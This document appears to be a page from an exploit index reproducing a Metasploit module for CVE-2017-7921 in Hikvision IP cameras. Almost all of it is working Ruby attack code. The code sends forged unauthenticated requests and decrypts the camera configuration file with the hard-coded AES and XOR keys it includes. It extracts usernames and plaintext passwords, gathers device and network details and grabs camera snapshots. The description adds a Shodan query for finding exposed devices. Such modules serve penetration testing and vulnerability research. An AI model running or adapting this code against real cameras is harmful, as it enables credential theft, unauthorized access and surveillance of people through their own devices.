Share
## https://sploitus.com/exploit?id=PACKETSTORM:180658
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
require 'openssl'  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
include Msf::Auxiliary::Report  
include Msf::Exploit::Remote::HttpClient  
  
# AES hex encryption key and XOR key defined constants used to decrypt the camare configuration file  
AES_KEY = '279977f62f6cfd2d91cd75b889ce0c9a'.freeze  
XOR_KEY = "\x73\x8b\x55\x44".freeze  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Unauthenticated information disclosure such as configuration, credentials and camera snapshots of a vulnerable Hikvision IP Camera',  
'Description' => %q{  
Many Hikvision IP cameras have improper authorization logic that allows unauthenticated information disclosure of camera information,  
such as detailed hardware and software configuration, user credentials, and camera snapshots.  
The vulnerability has been present in Hikvision products since 2014.  
In addition to Hikvision-branded devices, it affects many white-labeled camera products sold under a variety of brand names.  
Hundreds of thousands of vulnerable devices are still exposed to the Internet at the time of publishing (shodan search: "App-webs" "200 OK").  
This module allows the attacker to retrieve this information without any authentication. The information is stored in loot for future use.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Monte Crypto', # Researcher who discovered and disclosed this vulnerability  
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Developer and author of this Metasploit module  
],  
'References' => [  
[ 'CVE', '2017-7921' ],  
[ 'PACKETSTORM', '144097' ],  
[ 'URL', 'https://ipvm.com/reports/hik-exploit' ],  
[ 'URL', 'https://attackerkb.com/topics/PlLehGSmxT/cve-2017-7921' ],  
[ 'URL', 'http://seclists.org/fulldisclosure/2017/Sep/23' ]  
],  
'Actions' => [  
['Automatic', { 'Description' => 'Dump all information' }],  
['Credentials', { 'Description' => 'Dump all credentials and passwords' }],  
['Configuration', { 'Description' => 'Dump camera hardware and software configuration' }],  
['Snapshot', { 'Description' => 'Take a camera snapshot' }]  
],  
'DefaultAction' => 'Automatic',  
'DefaultOptions' => {  
'RPORT' => 80,  
'SSL' => false  
},  
'DisclosureDate' => '2017-09-23',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options([  
OptBool.new(  
'PRINT',  
[  
false,  
'Print output to console (not applicable for snapshot)',  
true  
]  
)  
])  
end  
  
def get_info(uri)  
password = Rex::Text.rand_text_alphanumeric(4..12)  
auth = Base64.urlsafe_encode64("admin:#{password}", padding: false)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri,  
'vars_get' => {  
'auth' => auth.strip  
}  
})  
return res  
rescue StandardError => e  
print_error("#{peer} - Communication error occurred: #{e.message}")  
elog("#{peer} - Communication error occurred: #{e.message}", error: e)  
return nil  
end  
  
def report_creds(user, pwd)  
credential_data = {  
module_fullname: fullname,  
username: user,  
private_data: pwd,  
private_type: :password,  
workspace_id: myworkspace_id,  
status: Metasploit::Model::Login::Status::UNTRIED  
}.merge(service_details)  
  
cred_res = create_credential_and_login(credential_data)  
unless cred_res.nil?  
print_status("Credentials for user:#{user} are added to the database...")  
end  
end  
  
def decrypt_config  
text_data = []  
  
# Get AES128-ECB encrypted camera configuration file with user and password information  
uri = normalize_uri(target_uri.path, 'System', 'configurationFile')  
aes_data = get_info(uri)  
  
if aes_data.nil?  
print_error('Target server did not respond to the configuration file download request.')  
elsif aes_data.code == 200  
# decrypt configuration file data with the weak AES128-ECB encryption hex key: 279977f62f6cfd2d91cd75b889ce0c9a  
decipher = OpenSSL::Cipher.new('aes-128-ecb')  
decipher.decrypt  
decipher.key = [AES_KEY].pack('H*') # transform hex key to 16 bits key  
xor_data = decipher.update(aes_data.body) + decipher.final  
  
# decode the AES decrypted configuration file data with xor key: 73 8B 55 44  
file_data = Rex::Text.xor(XOR_KEY.b, xor_data)  
  
# extract text chunks with regular expression below...  
text_data = file_data.scan(%r{[0-9A-Za-z_\#~`@|\\/=*\^:"'.;{}?\-+&!$%()\[\]<>]+}x)  
end  
return text_data  
end  
  
def get_creds  
loot_data = ''  
pwd = nil  
  
print_status('Getting the user credentials...')  
uri = normalize_uri(target_uri.path, 'Security', 'users')  
creds_info = get_info(uri)  
  
if creds_info.nil?  
print_error('Target server did not respond to the credentials request.')  
elsif creds_info.code == 200  
# process XML output and store output in loot_data  
xml_creds_info = creds_info.get_xml_document  
if xml_creds_info.blank?  
print_error('No users were found in the returned CSS code!')  
else  
# Download camera configuration file and and decrypt  
text_data = decrypt_config  
loot_data << "User Credentials Information:\n"  
loot_data << "-----------------------------\n"  
xml_creds_info.css('User').each do |user|  
unless text_data.empty?  
# Filter out password based on user name and store credentials in the database  
i = text_data.each_with_index.select { |text_chunk, _index| text_chunk == user.at_css('userName').content }.map { |pair| pair[1] }  
if i.empty?  
print_error("Could not retrieve password for user:#{user.at_css('userName').content} from the camera configuration file!")  
else  
pwd = text_data[i.last + 1]  
report_creds(user.at_css('userName').content, pwd)  
end  
end  
loot_data << "User:#{user.at_css('userName').content} | ID:#{user.at_css('id').content} | Role:#{user.at_css('userLevel').content} | Password: #{pwd}\n"  
end  
end  
else  
print_error('Response code invalid for obtaining the user credentials.')  
end  
unless loot_data.empty?  
if datastore['PRINT']  
print_status(loot_data.to_s)  
end  
loot_path = store_loot('hikvision.credential', 'text/plain', datastore['RHOSTS'], loot_data, 'credentials', 'leaked credentials')  
print_good("User credentials are successfully saved to #{loot_path}")  
end  
end  
  
def get_config  
loot_data = ''  
  
# Get device info  
print_status('Getting the camera hardware and software configuration...')  
uri = normalize_uri(target_uri.path, 'System', 'deviceInfo')  
device_info = get_info(uri)  
  
if device_info.nil?  
print_error('Target server did not respond to the device info request.')  
elsif device_info.code == 200  
# process XML output and store in loot_data  
xml_device_info = device_info.get_xml_document  
if xml_device_info.blank?  
print_error('No device info was found in the returned CSS code!')  
else  
loot_data << "Camera Device Information:\n"  
loot_data << "--------------------------\n"  
xml_device_info.css('DeviceInfo').each do |device|  
loot_data << "Device name: #{device.at_css('deviceName').content}\n"  
loot_data << "Device ID: #{device.at_css('deviceID').content}\n"  
loot_data << "Device description: #{device.at_css('deviceDescription').content}\n"  
loot_data << "Device manufacturer: #{device.at_css('systemContact').content}\n"  
loot_data << "Device model: #{device.at_css('model').content}\n"  
loot_data << "Device S/N: #{device.at_css('serialNumber').content}\n"  
loot_data << "Device MAC: #{device.at_css('macAddress').content}\n"  
loot_data << "Device firmware version: #{device.at_css('firmwareVersion').content}\n"  
loot_data << "Device firmware release: #{device.at_css('firmwareReleasedDate').content}\n"  
loot_data << "Device boot version: #{device.at_css('bootVersion').content}\n"  
loot_data << "Device boot release: #{device.at_css('bootReleasedDate').content}\n"  
loot_data << "Device hardware version: #{device.at_css('hardwareVersion').content}\n"  
end  
loot_data << "\n"  
end  
else  
print_error('Response code invalid for obtaining camera hardware and software configuration.')  
end  
  
# Get network configuration  
uri = normalize_uri(target_uri.path, 'Network', 'interfaces')  
network_info = get_info(uri)  
  
if network_info.nil?  
print_error('Target server did not respond to the network info request.')  
elsif network_info.code == 200  
# process XML output and store in loot_data  
xml_network_info = network_info.get_xml_document  
if xml_network_info.blank?  
print_error('No network info was found in the returned CSS code!')  
else  
loot_data << "Camera Network Information:\n"  
loot_data << "---------------------------\n"  
xml_network_info.css('NetworkInterface').each do |interface|  
loot_data << "IP interface: #{interface.at_css('id').content}\n"  
xml_network_info.css('IPAddress').each do |ip|  
loot_data << "IP version: #{ip.at_css('ipVersion').content}\n"  
loot_data << "IP assignment: #{ip.at_css('addressingType').content}\n"  
loot_data << "IP address: #{ip.at_css('ipAddress').content}\n"  
loot_data << "IP subnet mask: #{ip.at_css('subnetMask').content}\n"  
xml_network_info.css('DefaultGateway').each do |gateway|  
loot_data << "Default gateway: #{gateway.at_css('ipAddress').content}\n"  
end  
xml_network_info.css('PrimaryDNS').each do |dns|  
loot_data << "Primary DNS: #{dns.at_css('ipAddress').content}\n"  
end  
end  
end  
loot_data << "\n"  
end  
else  
print_error('Response code invalid for obtaining camera network configuration.')  
end  
  
# Get storage configuration  
uri = normalize_uri(target_uri.path, 'System', 'Storage', 'volumes')  
storage_info = get_info(uri)  
  
if storage_info.nil?  
print_error('Target server did not respond to the storage info request.')  
elsif storage_info.code == 200  
# process XML output and store in loot  
xml_storage_info = storage_info.get_xml_document  
if xml_storage_info.blank?  
print_error('No storage info was found in the returned CSS code!')  
else  
loot_data << "Camera Storage Information:\n"  
loot_data << "---------------------------\n"  
xml_storage_info.css('StorageVolume').each do |volume|  
loot_data << "Storage volume name: #{volume.at_css('volumeName').content}\n"  
loot_data << "Storage volume ID: #{volume.at_css('id').content}\n"  
loot_data << "Storage volume description: #{volume.at_css('storageDescription').content}\n"  
loot_data << "Storage device: #{volume.at_css('storageLocation').content}\n"  
loot_data << "Storage type: #{volume.at_css('storageType').content}\n"  
loot_data << "Storage capacity (MB): #{volume.at_css('capacity').content}\n"  
loot_data << "Storage device status: #{volume.at_css('status').content}\n"  
end  
end  
else  
print_error('Response code invalid for obtaining camera storage configuration.')  
end  
unless loot_data.empty?  
if datastore['PRINT']  
print_status(loot_data.to_s)  
end  
loot_path = store_loot('hikvision.config', 'text/plain', datastore['RHOSTS'], loot_data, 'configuration', 'camera configuration')  
print_good("Camera configuration details are successfully saved to #{loot_path}")  
end  
end  
  
def take_snapshot  
jpeg_image = nil  
  
# Take a snapshot and store as jpeg  
print_status('Taking a camera snapshot...')  
uri = normalize_uri(target_uri.path, 'Streaming', 'channels', '1', 'picture?snapShotImageType=JPEG')  
res = get_info(uri)  
  
if res.nil?  
print_error('Target server did not respond to the snapshot request.')  
elsif res.code == 200  
jpeg_image = res.body  
else  
print_error('Response code invalid for obtaining a camera snapshot.')  
end  
unless jpeg_image.nil?  
loot_path = store_loot('hikvision.image', 'jpeg/image', datastore['RHOSTS'], jpeg_image, 'snapshot', 'camera snapshot')  
print_good("Camera snapshot is successfully saved to #{loot_path}")  
end  
end  
  
def check  
uri = normalize_uri(target_uri.path, 'System', 'time')  
res = get_info(uri)  
  
if res.nil?  
return Exploit::CheckCode::Unknown  
elsif res.code == 200  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def run  
case action.name  
when 'Automatic'  
print_status('Running in automatic mode')  
get_creds  
get_config  
take_snapshot  
when 'Credentials'  
get_creds  
when 'Configuration'  
get_config  
when 'Snapshot'  
take_snapshot  
end  
end  
end